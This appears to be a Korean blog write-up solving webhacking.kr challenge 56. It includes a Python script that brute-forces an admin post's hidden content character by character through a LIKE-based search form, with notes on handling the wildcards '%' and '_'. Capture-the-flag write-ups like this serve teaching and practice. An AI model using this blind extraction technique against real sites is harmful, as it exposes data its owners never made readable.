[webhacking.kr] 56번 문제 풀이[SQL Injection]

1 분 소요

💡 Webhacking.kr challenge(old) 56번 문제에 대한 풀이입니다.

문제

image

search 기능을 이용해서 admin의 게시글 내용을 알아내는 문제입니다.

문제 풀이

게시글 찾기 기능을 사용할때 일반적으로 다음과 같은 sql 문을 통해서 db에서 찾아옵니다.

select * from chall56 where secret like '%{search}%'

몇가지 실험 결과 위의 쿼리문으로 sql문이 구성된 걸로 추정되며, 이를 이용해서 다음과 같이 파이썬 코드로 게시글의 내용을 찾아낼 수 있습니다.

문제를 풀 당시에는 맨 처음 단어가 FLAG일 것으로 추정하고 풀어서 빠르게 풀었지만, 보다 일반적으로 게시글 내용을 추정하기 위해서 하나의 글자에서 시작해서 뒤의 내용을 완성하고, 다시 앞의 내용을 완성하는 방식으로 searching을 진행했습니다.

그리고 주의해야 할 점은, searching을 할때는 ‘%’ 와 ‘_‘의 사용을 주의해야 합니다.

  • ’%’ : 모든 임의의 문자열 의미

  • ‘_’ : 하나의 임의의 문자열 의미

이때, 각각의 글자가 실제 특수문자의 기능이 아닌 하나의 글자로 동작하는 경우가 있기 때문에 searching의 맨 마지막에는 ‘_‘가 존재하는지도 확인해 줍니다.

import requests
import string

url = 'https://webhacking.kr/challenge/web-33/'
TRUE_FLAG = 'admin'
secret = 'a'
data = {}
exit = 0

# string.printable = '0123456789
#                     abcdefghijklmnopqrstuvwxyz
#                     ABCDEFGHIJKLMNOPQRSTUVWXYZ
#                     !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~'

# '%' 는 삭제하고, '_'는 맨 마지막에 추가
printable_string = string.printable
printable_string = printable_string.replace('%','')
printable_string = printable_string.replace('_','')
printable_string = printable_string + '_'


# a부터 뒷글자들을 먼저 맞춘다.
while exit==0:
    for character in printable_string:
        data['search'] = secret + character
        response = requests.post(url,data=data)
        if(TRUE_FLAG in response.text):
            secret = data['search']
            print('\r[+]',secret,end='')
            break
        if(character == printable_string[-1]):
            exit=1
            print("break while loop")


# 앞부분을 채워 넣기
exit = 0
while exit==0:
    for character in printable_string:
        data['search'] = character + secret
        response = requests.post(url,data=data)
        if(TRUE_FLAG in response.text):
            secret = data['search']
            print('\r[+]',secret,end='')
            break    

        if(character == printable_string[-1]):
            exit=1
            print("break while loop")
            print(secret)

코드 실행결과는 다음과 같이 나왔으며, 맨 앞의 \는 제거해 줍니다.

image

댓글남기기